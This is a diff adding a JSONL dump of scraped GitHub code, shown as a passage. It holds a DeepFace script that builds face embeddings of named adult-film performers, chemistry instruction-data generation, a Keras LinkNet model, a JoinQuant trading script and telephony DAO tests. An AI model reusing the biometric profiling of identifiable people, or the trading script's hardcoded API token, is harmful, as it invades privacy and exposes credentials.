diff --git "a/6390.jsonl" "b/6390.jsonl" new file mode 100644--- /dev/null +++ "b/6390.jsonl" @@ -0,0 +1,723 @@ +{"seq_id":"15406959568","text":"#!/usr/bin/env python3\nimport os\nimport sys\nimport json\nimport tqdm\nimport cv2\nimport pickle\nimport gc\nimport numpy as np\nimport pandas as pd\nimport keras.backend as K\nimport signal\n\nproject_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))\nsys.path.append(project_root)\n\nfrom core.face_processor import crop_image, silence_tensorflow,\\\n init_model_face_db, check_similarity\n\nsilence_tensorflow()\n\nfrom deepface import DeepFace\nfrom dotenv import load_dotenv\nload_dotenv()\n\nimport core.data_model as model\nfrom core.database import Database\n\ndb = Database()\n\nproject_folder = os.getenv(\"PROJECT_STORAGE_PATH\")\nfaces_dir = os.getenv(\"PROJECT_FACEDB_PATH\")\n\noutput_dir = faces_dir\nconfidence_threshold = 0.95\ngender_threshold = 0.98\nunknown_gender_threshold = 0.9\nmin_face_size = 60\nmax_galleries_per_model = 15\n\nmodel_faces = dict()\nDEEPFACE_BACKEND = os.getenv(\"DEEPFACE_BACKEND\")\nDEEPFACE_MODEL = os.getenv(\"DEEPFACE_MODEL\")\n\n# Keras model has memory leak issue\n# https://github.com/serengil/deepface/issues/697\ncfg = K.tf.compat.v1.ConfigProto()\ncfg.gpu_options.allow_growth = True\nK.set_session(K.tf.compat.v1.Session(config=cfg))\n\ndef process_galleries(galleries,model_name):\n model_embeddings = dict()\n model_embedding_file = f'{output_dir}/{model_name}/embeddings.pickle'\n if os.path.exists(model_embedding_file):\n with open(model_embedding_file, 'rb') as file:\n model_embeddings = pickle.load(file)\n\n model_face_folder = f'{output_dir}/{model_name}'\n processed_log = f\"{model_face_folder}/processed.log\"\n processed_log_set = set()\n if not os.path.exists(model_face_folder): os.mkdir(model_face_folder)\n if os.path.exists(processed_log):\n with open(processed_log, 'rb') as file:\n processed_log_set = pickle.load(file)\n\n model_data = model.Model.objects(name = model_name).first()\n gender_df = pd.DataFrame(columns=[\"Man\", \"Woman\"])\n if not model_data.gender:\n gender_file = f'{model_face_folder}/gender.pickle'\n # patching gender\n if os.path.exists(gender_file):\n gender_df = pd.read_pickle(gender_file)\n gender_mean = gender_df.mean()\n model_data.gender = 'male' if gender_mean['Man'] > gender_mean['Woman'] else 'female'\n\n for gallery in galleries:\n images = [f.path for f in os.scandir(f\"{project_folder}/{gallery.path}\") if f.name.lower().endswith(\".jpg\")]\n for image_path in tqdm.tqdm(images, desc=f'Extracting faces from {gallery.path}'):\n if image_path in processed_log_set: continue\n\n processed_log_set.add(image_path)\n with open(processed_log, 'wb') as file:\n pickle.dump(processed_log_set, file)\n\n process_image(image_path, model_name, model_data, model_embeddings, gender_df)\n yield model_name\n\n\ndef process_image(image_path,model_name, model_data, model_embeddings, gender_df):\n embedding_file = f'{output_dir}/{model_name}/embeddings.pickle'\n need_save = False\n model_face_folder = f'{output_dir}/{model_name}'\n output_file = f\"{model_face_folder}/{os.path.basename(image_path)}\"\n temp_file = f\"{model_face_folder}/temp.jpg\"\n gender_file = f'{model_face_folder}/gender.pickle'\n output_file_key = f\"{model_name}/{os.path.basename(image_path)}\"\n # if the face is already extracted, skip it\n faces = DeepFace.extract_faces(img_path = image_path,\n enforce_detection = False,\n grayscale = False,\n align = False,\n detector_backend = DEEPFACE_BACKEND)\n K.clear_session()\n gc.collect()\n\n # extract the face embedding\n # print(f'Extracted {len(faces)} faces from {image_path}')\n # usually when multiple faces are detected, it's a false positive and quality will be bad\n if len(faces) > 1: return\n for face in faces:\n if face['confidence'] <= confidence_threshold:\n return\n\n # ignore faces that are too small\n if face['facial_area']['w'] < min_face_size or face['facial_area']['h'] < min_face_size:\n return\n # crop the face from the image\n try:\n cropped_face = crop_image(image_path, face['facial_area'])\n except:\n return\n\n # save the face in the output folder\n cv2.imwrite(temp_file, cropped_face)\n\n # filter out faces which the gender is not matched\n face_analysis = DeepFace.analyze(img_path = temp_file,\n actions=['gender'],\n enforce_detection=False,\n silent=True,\n align=True,\n detector_backend = DEEPFACE_BACKEND)\n\n if len(face_analysis) == 0:return\n face_gender = face_analysis[0]['gender']\n if model_data.gender:\n if model_data.gender.lower() == 'male':\n if face_gender['Man'] < gender_threshold * 100:\n os.remove(temp_file)\n return\n elif model_data.gender.lower() == 'female' or model_data.gender.lower() == 'shemale':\n if face_gender['Woman'] < gender_threshold * 100:\n os.remove(temp_file)\n return\n else:\n max_gender = np.max([face_gender['Man'], face_gender['Woman']])\n if max_gender < unknown_gender_threshold * 100:\n os.remove(temp_file)\n return\n\n # save the face embedding in the database\n face_embeddings = DeepFace.represent(img_path = temp_file,\n enforce_detection=False,\n align=True,\n model_name=DEEPFACE_MODEL,\n detector_backend = DEEPFACE_BACKEND)\n if len(face_embeddings) == 0:\n os.remove(temp_file)\n return\n # check if face is similar to other faces in the model\n if len(model_embeddings) > 0:\n if not check_similarity(face_embeddings[0]['embedding'], model_embeddings):\n os.remove(temp_file)\n return\n\n gender_df.loc[os.path.basename(image_path)] = pd.Series(face_gender, index=gender_df.columns)\n gender_df.to_pickle(gender_file)\n os.rename(temp_file, output_file)\n model_data.faces.append(model.Face(path=output_file_key, source=image_path))\n model_embeddings[os.path.basename(image_path)] = face_embeddings[0]['embedding'],\n need_save = True\n\n if need_save:\n # save the model to the database\n model_data.save()\n # save the embeddings to the file\n with open(embedding_file, 'wb') as file:\n pickle.dump(model_embeddings, file)\n\n faces = None\n face_embeddings = None\n return\n\nbad_names = ['Add To Favorites']\ntest_model = None\n# test_model = 'James Deen'\n# test_model = 'Ryan Madison'\n# test_model = 'Sean Michaels'\n# test_model = 'Lew Rubens'\n# test_model = 'Ms Panther'\n# test_model = 'Nicole Pitty'\n\ndef signal_handler(signal, frame):\n print(\"Ctrl+C pressed. Exiting gracefully...\")\n print(f\"release lock_file: {lock_file}\")\n if os.path.exists(lock_file): os.remove(lock_file)\n sys.exit(0)\n\n\nlock_file = None\nif __name__ == '__main__':\n # Register the signal handler for SIGINT\n signal.signal(signal.SIGINT, signal_handler)\n\n if not os.path.exists(output_dir): os.makedirs(output_dir)\n\n for m in tqdm.tqdm(model.Model.objects().all(), desc=\"Loading existing models\"):\n # sort the galleries by is_solo\n if test_model and m.name != test_model: continue\n sorted_galleries = sorted(m.galleries, key=lambda x: x[\"is_solo\"], reverse=True)\n model_faces[m.name] = sorted_galleries\n\n # sort the model_names by number of galleries\n model_names = sorted(model_faces.keys(), key=lambda x: len(model_faces[x]), reverse=True)\n\n for model_name in tqdm.tqdm(model_names, desc=\"Extracting models face\"):\n # filter out models with no space in the name and bad names\n if not \" \" in model_name: continue\n if model_name in bad_names: continue\n\n galleries = model_faces[model_name]\n if len(galleries) >= max_galleries_per_model: galleries = galleries[:max_galleries_per_model]\n # if len(model_faces[model_name]) <= 4: continue\n embedding_file = f'{output_dir}/{model_name}/embeddings.pickle'\n model_face_folder = f'{output_dir}/{model_name}'\n if not os.path.exists(model_face_folder): os.mkdir(model_face_folder)\n\n lock_file = f'{model_face_folder}/.lock'\n if os.path.exists(lock_file):\n print(f'Lock file exists for {model_name}')\n continue\n\n # add resource lock\n with open(lock_file, 'w') as f:\n f.write('')\n\n if not os.path.exists(embedding_file):\n # initalize the embedding files for the model\n init_model_face_db(model_name, galleries, output_dir)\n\n for res in process_galleries(galleries, model_name):\n pass\n\n # remove resource lock\n if os.path.exists(lock_file): os.remove(lock_file)\n","repo_name":"hellojixian/suchka-ai","sub_path":"scripts/generate_face_db.py","file_name":"generate_face_db.py","file_ext":"py","file_size_in_byte":8704,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"24586667879","text":"\"\"\"\n@Time: 2023/07/26\n@Author: cynthiazhang\n\nthis work is for data investigation of hours.\n\n# \"\"\"\nimport os\nfrom tqdm import tqdm\nimport json\n\nfrom scripts.reaction_selection import RawDataset\n\n\ndef generation_template(input_data, cls):\n parse_ord_qa_to_instruct = open(\n os.path.join(\n cls.root_path_prefix,\n cls.raw_data_path,\n cls.dataset_file_name + \"_instruct.json\"\n ),\n 'w',\n encoding='utf-8'\n )\n\n total_length = len(input_data)\n for i in tqdm(range(0, total_length)):\n \"\"\"\n input sample:\n {'reactants': 'amine:CC(C)N1CCNCC1, amount is: 0.001769999973475933 MOLE;aryl halide:CCOC1=C(C=C2C(=C1)N=CC(=C2NC3=C(C=C(C=C3)F)F)C(=O)OCC)Br, amount is: 0.0008859999943524599 MOLE',\n 'solvents': '',\n 'catalysts': 'metal and ligand:C1=CC=C(C=C1)P(C2=CC=CC=C2)C3=C(C4=CC=CC=C4C=C3)C5=C(C=CC6=CC=CC=C65)P(C7=CC=CC=C7)C8=CC=CC=C8, amount is: 8.859999798005447e-05 MOLE;metal and ligand:C1=CC=C(C=C1)/C=C/C(=O)/C=C/C2=CC=CC=C2.C1=CC=C(C=C1)/C=C/C(=O)/C=C/C2=CC=CC=C2.C1=CC=C(C=C1)/C=C/C(=O)/C=C/C2=CC=CC=C2.[Pd].[Pd], amount is: 4.4299998990027234e-05 MOLE',\n 'reagents': 'Base:C(=O)([O-])[O-].[Cs+].[Cs+], amount is: 0.002219999907538295 MOLE',\n 'products': '0:CCOC1=C(C=C2C(=C1)N=CC(=C2NC3=C(C=C(C=C3)F)F)C(=O)OCC)N4CCN(CC4)C(C)C',\n 'reaction_name': '1.3.1 [N-arylation with Ar-X] Bromo Buchwald-Hartwig amination',\n 'reaction_id': 'ord-56b1f4bfeebc4b8ab990b9804e798aa7',\n 'conditions': \"To a solution of ethyl 6-bromo-4-(2,4-difluorophenylamino)-7-ethoxyquinoline-3-carboxylate (400 mg, 0.89 mmol) and 1-(Isopropyl)piperazine (254 µl, 1.77 mmol) in dioxane was added cesium carbonate (722 mg, 2.22 mmol), tris(dibenzylideneacetone)dipalladium(0) (40.6 mg, 0.04 mmol) and rac-2,2'-Bis(diphenylphosphino)-1,1'-binaphthyl (55.2 mg, 0.09 mmol). Reaction vessel in oil bath set to 110 °C. 11am After 5 hours, MS shows product (major peak 499), and SM (minor peak 453). o/n, MS shows product peak. Reaction cooled, concentrated onto silica, and purified on ISCO. 40g column, 1:1 EA:Hex, then 100% EA. 289mg yellow solid. NMR (EN00180-62-1) supports product, but some oxidised BINAP impurity (LCMS 655). \",\n 'yield': '0:65.38999938964844',\n 'reference': 'https://chemrxiv.org/engage/chemrxiv/article-details/60c9e3f37792a23bfdb2d471',\n 'main_product': 'CCOC1=C(C=C2C(=C1)N=CC(=C2NC3=C(C=C(C=C3)F)F)C(=O)OCC)N4CCN(CC4)C(C)C',\n 'main_product_id': '0',\n 'main_product_yield': '65.38999938964844'}\n \"\"\"\n query = json.loads(input_data[i])\n reactants = query['reactants']\n products = query['products']\n reaction_name = query['reaction_name']\n solvents = query[\"solvents\"]\n solvents = cls.reformer_reaction(solvents) if solvents != \"\" else \"\"\n reactants_chain = []\n for reactant in reactants.split(\";\"):\n reactants_chain.append(reactant.split(\",\")[0].split(\":\")[-1])\n products = query[\"products\"]\n products_chain = []\n for product in products.split(\";\"):\n products_chain.append(product.split(\":\")[-1])\n reaction_formula = \".\".join(reactants_chain) + \">>\" + \".\".join(products_chain)\n\n catalysts = query[\"catalysts\"]\n catalysts = cls.reformer_reaction(catalysts) if catalysts != \"\" else \"\"\n reagents = query[\"reagents\"]\n reagents = cls.reformer_reaction(reagents) if reagents != \"\" else \"\"\n conditions = query[\"conditions\"]\n product_yield = query[\"main_product_yield\"]\n if reaction_name is not None and reaction_name != \"\":\n reaction_template = f\"{reaction_name} is a chemical reaction, SMILES is sequenced-based string used to encode the molecular structure, reactants for \" \\\n f\"this reaction are {reactants}, SMILES for products of reactions are {products}, \"\n total_reaction_template = f\"{reaction_name} is a chemical reaction, SMILES is sequenced-based strings, used to encode the molecular structure, reactants for \" \\\n f\"this reaction are {reactants}, SMILES for products of reactions are {products}, so the whole reaction can be represented as {reaction_formula}, \"\n else:\n reaction_template = f\"Considering a chemical reaction, SMILES is sequenced-based string used to encode the molecular structure, reactants for \" \\\n f\"this reaction are {reactants}, SMILES for products of reactions are {products}, \"\n total_reaction_template = f\"Considering a chemical reaction, SMILES is sequenced-based strings, used to encode the molecular structure, reactants for \" \\\n f\"this reaction are {reactants}, SMILES for products of reactions are {products}, so the whole reaction can be represented as {reaction_formula}, \"\n\n tmp = dict()\n if solvents != \"\":\n solvent_instruct = reaction_template + f\"what solvent is used for this reaction?\"\n total_reaction_template += f\"solvents are {solvents}, \"\n tmp[\"INSTRUCTION\"] = solvent_instruct\n tmp[\"RESPONSE\"] = solvents\n\n ord_instruct = json.dumps(\n tmp,\n ensure_ascii=False) + \"\\n\"\n parse_ord_qa_to_instruct.write(ord_instruct)\n\n if reagents != \"\":\n reagent_instruct = reaction_template + f\"what reagent is used for this reaction?\"\n total_reaction_template += f\"reagents are {reagents}, \"\n tmp[\"INSTRUCTION\"] = reagent_instruct\n tmp[\"RESPONSE\"] = reagents\n\n ord_instruct = json.dumps(\n tmp,\n ensure_ascii=False) + \"\\n\"\n parse_ord_qa_to_instruct.write(ord_instruct)\n\n if catalysts != \"\":\n catalyst_instruct = reaction_template + f\"what catalyst is used for this reaction?\"\n total_reaction_template += f\"catalysts are {catalysts}, \"\n tmp[\"INSTRUCTION\"] = catalyst_instruct\n tmp[\"RESPONSE\"] = catalysts\n\n ord_instruct = json.dumps(\n tmp,\n ensure_ascii=False) + \"\\n\"\n parse_ord_qa_to_instruct.write(ord_instruct)\n\n if product_yield != \"\" and float(product_yield) != 0:\n yield_prompt = total_reaction_template + f\"according to experimental procedure and condition of this \" \\\n f\"reaction: {conditions}, \" \\\n f\"please calculate the yield of products of reaction.\"\n tmp['INSTRUCTION'] = yield_prompt\n tmp[\"RESPONSE\"] = product_yield\n ord_instruct = json.dumps(\n tmp,\n ensure_ascii=False) + \"\\n\"\n parse_ord_qa_to_instruct.write(ord_instruct)\n\n if conditions != \"\":\n total_reaction_template += \"please give me the experimental procedure and condition of reaction?\"\n tmp['INSTRUCTION'] = total_reaction_template\n tmp[\"RESPONSE\"] = conditions\n ord_instruct = json.dumps(\n tmp,\n ensure_ascii=False) + \"\\n\"\n parse_ord_qa_to_instruct.write(ord_instruct)\n\n\n\ndef main():\n datasets = RawDataset(\"train_v2.json\")\n ord_meta_data = datasets.parse_json(\n datasets.source_dir_path\n )\n\n\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Zhanghahah/Lavoisier","sub_path":"data/hours_data_investigation.py","file_name":"hours_data_investigation.py","file_ext":"py","file_size_in_byte":7520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"31515515991","text":"\"\"\"\nhttps://www.kaggle.com/kmader/keras-linknet\nhttps://github.com/okotaku/kaggle_dsbowl/blob/master/model/linknet.py\n\"\"\"\n\nfrom keras.models import Model\nfrom keras.layers import Input, Conv2D, Deconv2D, MaxPool2D, concatenate, AvgPool2D\nfrom keras.layers import BatchNormalization, Activation\nfrom keras.layers.core import Dropout\nfrom keras import backend as K\nfrom keras.regularizers import l2\nfrom keras.layers import add\n\n\ns_c2 = lambda fc, k, s = 1, activation='elu', **kwargs: Conv2D(fc, kernel_size = (k,k), strides= (s,s),\n padding = 'same', activation = activation,\n **kwargs)\n\n\ns_d2 = lambda fc, k, s = 1, activation='elu', **kwargs: Deconv2D(fc, kernel_size=(k,k), strides=(s,s), \n padding = 'same', activation=activation,\n **kwargs)\n\n\nc2 = lambda fc, k, s = 1, **kwargs: lambda x: Activation('elu')(BatchNormalization()(\n Conv2D(fc, kernel_size = (k,k), strides= (s,s),\n padding = 'same', activation = 'linear', **kwargs)(x)))\n\n\nd2 = lambda fc, k, s = 1, **kwargs: lambda x: Activation('elu')(BatchNormalization()(\n Deconv2D(fc, kernel_size=(k,k), strides=(s,s), \n padding = 'same', activation='linear', **kwargs)(x)))\n\ndef _shortcut(input, residual):\n \"\"\"Adds a shortcut between input and residual block and merges them with \"sum\"\n \"\"\"\n # Expand channels of shortcut to match residual.\n # Stride appropriately to match residual (width, height)\n # Should be int if network architecture is correctly configured.\n input_shape = K.int_shape(input)\n residual_shape = K.int_shape(residual)\n stride_width = int(round(input_shape[1] / residual_shape[1]))\n stride_height = int(round(input_shape[2] / residual_shape[2]))\n equal_channels = input_shape[3] == residual_shape[3]\n\n shortcut = input\n # 1 X 1 conv if shape is different. Else identity.\n if stride_width > 1 or stride_height > 1 or not equal_channels:\n shortcut = Conv2D(filters=residual_shape[3],\n kernel_size=(1, 1),\n strides=(stride_width, stride_height),\n padding=\"valid\",\n kernel_initializer=\"he_normal\",\n kernel_regularizer=l2(0.0001))(input)\n\n return add([shortcut, residual])\n\n\ndef enc_block(m, n):\n def block_func(x):\n cx = c2(n, 3)(c2(n, 3, 2)(x))\n cs1 = concatenate([AvgPool2D((2,2))(x), \n cx])\n cs2 = c2(n, 3)(c2(n, 3)(cs1))\n return concatenate([cs2, cs1])\n return block_func\n\n\ndef dec_block(m, n):\n def block_func(x):\n cx1 = c2(m//4, 1)(x)\n cx2 = d2(m//4, 3, 2)(cx1)\n return Dropout(0.1)(c2(n, 1)(cx2))\n return block_func\n\n\ndef build(size=256, chs=3, summary=False):\n \n start_in = Input((size, size, chs), name = 'Input')\n in_filt = c2(64, 7, 2)(start_in)\n in_mp = MaxPool2D((3,3), strides = (2,2), padding = 'same')(in_filt)\n\n enc1 = enc_block(64, 64)(in_mp)\n enc2 = enc_block(64, 128)(enc1)\n\n dec2 = dec_block(64, 128)(enc2)\n dec2_cat = _shortcut(enc1, dec2)\n dec1 = dec_block(64, 64)(dec2_cat)\n\n last_out = _shortcut(dec1, in_mp)\n \n out_upconv = d2(32, 3, 2)(last_out)\n out_conv = c2(32, 3)(out_upconv)\n out = s_d2(1, 2, 2, activation = 'sigmoid')(out_conv)\n\n model = Model(inputs = [start_in], outputs = [out]) #Trainable params: 1,151,297\n\n return model","repo_name":"shubhamgoel27/building_footprint_extraction","sub_path":"src/networks/linknet.py","file_name":"linknet.py","file_ext":"py","file_size_in_byte":3555,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"28"} +{"seq_id":"31599554364","text":"# coding: utf-8\n'''\n双均线策略,当五日均线位于十日均线上方则买入,反之卖出。\n'''\n# from jqboson.api.settings import set_benchmark,set_option\n# import logging as log\n\nif __name__ == '__main__':\n import jqsdk\n params = {\n 'token':'8add836db38a3450ccbf0d5653f90f8b',\n 'algorithmId':7,\n 'baseCapital':20000,#初始资金\n 'frequency':'day',#运行频率\n 'startTime':'2017-06-01',\n 'endTime':'2019-08-01',\n 'name':\"Test1\",\n }\n jqsdk.run(params)\n\n# 导入聚宽函数库\nimport jqdatadir\n\n# 初始化程序, 整个回测只运行一次\ndef initialize(context):\n # 开启动态复权模式(真实价格)\n set_option('use_real_price', True)\n\n # 每天买入股票数量\n g.daily_buy_count = 5\n\n # 设置我们要操作的股票池, 这里我们操作多只股票,下列股票选自计算机信息技术相关板块\n g.stocks = get_industry_stocks('I64') + get_industry_stocks('I65')\n\n # 防止板块之间重复包含某只股票, 排除掉重复的, g.stocks 现在是一个集合(set)\n g.stocks = set(g.stocks)\n\n # 让每天早上开盘时执行 morning_sell_all\n run_daily(morning_sell_all, 'open')\n\ndef morning_sell_all(context):\n # 将目前所有的股票卖出\n for security in context.portfolio.positions:\n # 全部卖出\n order_target(security, 0)\n # 记录这次卖出\n log.info(\"Selling %s\" % (security))\n\ndef before_trading_start(context):\n # 今天已经买入的股票\n g.today_bought_stocks = set()\n\n # 得到所有股票昨日收盘价, 每天只需要取一次, 所以放在 before_trading_start 中\n g.last_df = history(1,'1d','close',g.stocks)\n\n# 在每分钟的第一秒运行, data 是上一分钟的切片数据\ndef handle_data(context, data):\n\n # 判断是否在当日最后的2小时,我们只追涨最后2小时满足追涨条件的股票\n # if context.current_dt.hour < 13:\n # return\n\n # 每天只买这么多个\n if len(g.today_bought_stocks) >= g.daily_buy_count:\n return\n\n # 只遍历今天还没有买入的股票\n for security in (g.stocks - g.today_bought_stocks):\n\n # 得到当前价格\n price = data[security].close\n\n # 获取这只股票昨天收盘价\n last_close = g.last_df[security][0]\n\n # 如果上一时间点价格已经涨了9.5%~9.9%\n # 今天的涨停价格区间大于1元,今天没有买入该支股票\n if price/last_close > 1.095 \\\n and price/last_close < 1.099 \\\n and data[security].high_limit - last_close >= 1.0:\n\n # 得到当前资金余额\n cash = context.portfolio.cash\n\n # 计算今天还需要买入的股票数量\n need_count = g.daily_buy_count - len(g.today_bought_stocks)\n\n # 把现金分成几份,\n buy_cash = context.portfolio.cash / need_count\n\n # 买入这么多现金的股票\n order_value(security, buy_cash)\n\n # 放入今日已买股票的集合\n g.today_bought_stocks.add(security)\n\n # 记录这次买入\n log.info(\"Buying %s\" % (security))\n\n # 买够5个之后就不买了\n if len(g.today_bought_stocks) >= g.daily_buy_count:\n break","repo_name":"caosiqiao4000/python","sub_path":"jqDataFinance/jq_demo/mult_stock_catch_up.py","file_name":"mult_stock_catch_up.py","file_ext":"py","file_size_in_byte":3347,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"33470567642","text":"import warnings\n\nfrom contextlib import contextmanager\nfrom hamcrest import (\n all_of,\n assert_that,\n contains,\n contains_inanyorder,\n empty,\n equal_to,\n has_entries,\n has_items,\n has_properties,\n not_,\n)\n\nfrom unittest.mock import patch\nfrom wazo_test_helpers.hamcrest.uuid_ import uuid_\nfrom xivo_dao import asterisk_conf_dao\nfrom xivo_dao.alchemy.agentqueueskill import AgentQueueSkill\nfrom xivo_dao.alchemy.iaxcallnumberlimits import IAXCallNumberLimits\nfrom xivo_dao.alchemy.queuepenalty import QueuePenalty\nfrom xivo_dao.alchemy.queuepenaltychange import QueuePenaltyChange\nfrom xivo_dao.alchemy.func_key_dest_custom import FuncKeyDestCustom\nfrom xivo_dao.tests.test_dao import DAOTestCase\n\n\n@contextmanager\ndef warning_filter(level):\n warnings.simplefilter(level)\n yield\n warnings.resetwarnings()\n\n\nclass PickupHelperMixin:\n _category_to_conf_map = {'member': 'pickupgroup', 'pickup': 'callgroup'}\n\n def _category_to_conf(self, category):\n return self._category_to_conf_map[category]\n\n def add_pickup_member_user(self, pickup, user_id, category='member'):\n args = {\n 'pickupid': pickup.id,\n 'membertype': 'user',\n 'memberid': user_id,\n 'category': category,\n }\n\n pickup_member = self.add_pickup_member(**args)\n\n return self._category_to_conf(pickup_member.category)\n\n def add_pickup_member_group(self, pickup, user_id, category='member'):\n group = self.add_group()\n pickup_member = self.add_pickup_member(\n pickupid=pickup.id,\n membertype='group',\n memberid=group.id,\n category=category,\n )\n self.add_queue_member(\n queue_name=group.name,\n usertype='user',\n userid=user_id,\n )\n\n return self._category_to_conf(pickup_member.category)\n\n def add_pickup_member_queue(self, pickup, user_id):\n queue = self.add_queuefeatures()\n pickup_member = self.add_pickup_member(\n pickupid=pickup.id, membertype='queue', memberid=queue.id\n )\n self.add_queue_member(queue_name=queue.name, usertype='user', userid=user_id)\n\n return self._category_to_conf(pickup_member.category)\n\n\nclass TestSCCPLineSettingDAO(DAOTestCase, PickupHelperMixin):\n def setUp(self):\n super().setUp()\n self.context = self.add_context()\n\n def test_find_sccp_line_settings_when_line_enabled(self):\n number = '1234'\n sccp_line = self.add_sccpline(cid_num=number, context=self.context.name)\n ule = self.add_user_line_with_exten(\n endpoint_sccp_id=sccp_line.id, exten=number, context=self.context.name\n )\n\n sccp_lines = asterisk_conf_dao.find_sccp_line_settings()\n\n assert_that(\n sccp_lines,\n contains_inanyorder(\n has_entries(\n user_id=ule.user_id,\n name=sccp_line.name,\n language=None,\n number=number,\n cid_name='Tester One',\n context=self.context.name,\n cid_num=number,\n uuid=uuid_(),\n )\n ),\n )\n\n def test_find_sccp_line_settings_when_line_disabled(self):\n number = '1234'\n sccp_line = self.add_sccpline(cid_num=number)\n self.add_user_line_with_exten(\n endpoint_sccp_id=sccp_line.id, exten=number, commented_line=1\n )\n\n sccp_line = asterisk_conf_dao.find_sccp_line_settings()\n\n assert_that(sccp_line, contains())\n\n def test_find_sccp_line_allow(self):\n number = '1234'\n sccp_line = self.add_sccpline(\n cid_num=number, allow='g729', context=self.context.name\n )\n ule = self.add_user_line_with_exten(\n endpoint_sccp_id=sccp_line.id, exten=number, context=self.context.name\n )\n\n sccp_lines = asterisk_conf_dao.find_sccp_line_settings()\n\n assert_that(\n sccp_lines,\n contains(\n has_entries(\n user_id=ule.user_id,\n name=sccp_line.name,\n language=None,\n number=number,\n cid_name='Tester One',\n context=self.context.name,\n cid_num=number,\n allow='g729',\n uuid=uuid_(),\n ),\n ),\n )\n\n def test_find_sccp_line_disallow(self):\n number = '1234'\n sccp_line = self.add_sccpline(\n cid_num=number, allow='g729', disallow='all', context=self.context.name\n )\n ule = self.add_user_line_with_exten(\n endpoint_sccp_id=sccp_line.id, exten=number, context=self.context.name\n )\n\n sccp_lines = asterisk_conf_dao.find_sccp_line_settings()\n\n assert_that(\n sccp_lines,\n contains(\n has_entries(\n user_id=ule.user_id,\n name=sccp_line.name,\n language=None,\n number=number,\n cid_name='Tester One',\n context=self.context.name,\n cid_num=number,\n allow='g729',\n disallow='all',\n uuid=uuid_(),\n ),\n ),\n )\n\n @patch('xivo_dao.asterisk_conf_dao.find_pickup_members')\n def test_find_sccp_line_pickup_group(self, mock_find_pickup_members):\n sccp_line = self.add_sccpline(context=self.context.name)\n ule = self.add_user_line_with_exten(\n endpoint_sccp_id=sccp_line.id, context=self.context.name\n )\n callgroups = {1, 2, 3, 4}\n pickupgroups = {3, 4}\n pickup_members = {\n sccp_line.id: {'callgroup': callgroups, 'pickupgroup': pickupgroups},\n }\n mock_find_pickup_members.return_value = pickup_members\n\n sccp_lines = asterisk_conf_dao.find_sccp_line_settings()\n\n assert_that(\n sccp_lines,\n contains(\n has_entries(\n user_id=ule.user_id,\n name=sccp_line.name,\n language=None,\n number=ule.extension.exten,\n cid_name='Tester One',\n context=self.context.name,\n cid_num=sccp_line.cid_num,\n callgroup=callgroups,\n pickupgroup=pickupgroups,\n uuid=uuid_(),\n ),\n ),\n )\n\n\nclass TestSccpConfDAO(DAOTestCase):\n def setUp(self):\n super().setUp()\n self.default_context = self.add_context(name='default')\n\n def test_find_sccp_general_settings(self):\n expected_result = [\n {'option_name': 'directmedia', 'option_value': 'no'},\n {'option_name': 'dialtimeout', 'option_value': '6'},\n {'option_name': 'language', 'option_value': 'en_US'},\n {'option_name': 'vmexten', 'option_value': '*98'},\n ]\n\n self.add_sccp_general_settings(**expected_result[0])\n self.add_sccp_general_settings(**expected_result[1])\n self.add_sccp_general_settings(**expected_result[2])\n self.add_feature_extension(exten='*98', feature='vmusermsg')\n\n sccp_general_settings = asterisk_conf_dao.find_sccp_general_settings()\n\n assert_that(sccp_general_settings, contains_inanyorder(*expected_result))\n\n def test_find_sccp_device_settings_no_voicemail(self):\n sccp_device = self.add_sccpdevice()\n\n sccp_devices = asterisk_conf_dao.find_sccp_device_settings()\n\n assert_that(\n sccp_devices,\n contains(\n has_entries(\n id=sccp_device.id,\n name=sccp_device.name,\n device=sccp_device.device,\n line=sccp_device.line,\n voicemail=None,\n ),\n ),\n )\n\n def test_find_sccp_device_settings(self):\n extension = self.add_extension(exten='1000', context=self.default_context.name)\n sccp_device = self.add_sccpdevice(line=extension.exten)\n sccp_line = self.add_sccpline(name=extension.exten, context=extension.context)\n line = self.add_line(endpoint_sccp_id=sccp_line.id, context=extension.context)\n voicemail = self.add_voicemail(mailbox='2000')\n user = self.add_user(voicemailid=voicemail.uniqueid)\n self.add_user_line(user_id=user.id, line_id=line.id)\n\n sccp_devices = asterisk_conf_dao.find_sccp_device_settings()\n\n assert_that(\n sccp_devices,\n contains(\n has_entries(\n id=sccp_device.id,\n name=sccp_device.name,\n device=sccp_device.device,\n line=sccp_device.line,\n voicemail=voicemail.mailbox,\n ),\n ),\n )\n\n\nclass TestFindSccpSpeeddialSettings(DAOTestCase):\n def setUp(self):\n super().setUp()\n self.default_context = self.add_context(name='default')\n\n def test_given_no_func_key_then_returns_empty_list(self):\n result = asterisk_conf_dao.find_sccp_speeddial_settings()\n\n assert_that(result, contains())\n\n def test_given_custom_func_key_then_returns_converted_func_key(self):\n exten = '1000'\n func_key_exten = '2000'\n\n user_row, sccp_device_row = self.add_user_with_sccp_device(\n exten=exten, context=self.default_context.name\n )\n func_key_mapping_row = self.add_custom_func_key_to_user(\n user_row, func_key_exten\n )\n\n result = asterisk_conf_dao.find_sccp_speeddial_settings()\n\n assert_that(\n result,\n contains(\n has_entries(\n user_id=user_row.id,\n fknum=func_key_mapping_row.position,\n exten=func_key_exten,\n supervision=int(func_key_mapping_row.blf),\n label=func_key_mapping_row.label,\n device=sccp_device_row.device,\n ),\n ),\n )\n\n def test_given_func_key_with_invalid_characters_then_characters_are_escaped(self):\n exten = '1000'\n func_key_exten = '\\n2;0\\t0\\r0'\n label = '\\nhe;l\\tlo\\r'\n\n user_row, sccp_device_row = self.add_user_with_sccp_device(\n exten=exten, context=self.default_context.name\n )\n self.add_custom_func_key_to_user(user_row, func_key_exten, label=label)\n\n result = asterisk_conf_dao.find_sccp_speeddial_settings()\n\n assert_that(result, contains(has_entries(exten='2000', label='hello')))\n\n def add_user_with_sccp_device(self, exten, context):\n user_row = self.add_user()\n sccp_device_row = self.add_sccpdevice(line=exten)\n sccp_line_row = self.add_sccpline(\n name=exten,\n cid_num=exten,\n context=context,\n )\n extension_row = self.add_extension(exten=exten, context=context)\n line_row = self.add_line(\n context=context,\n endpoint_sccp_id=sccp_line_row.id,\n )\n\n self.add_user_line(user_id=user_row.id, 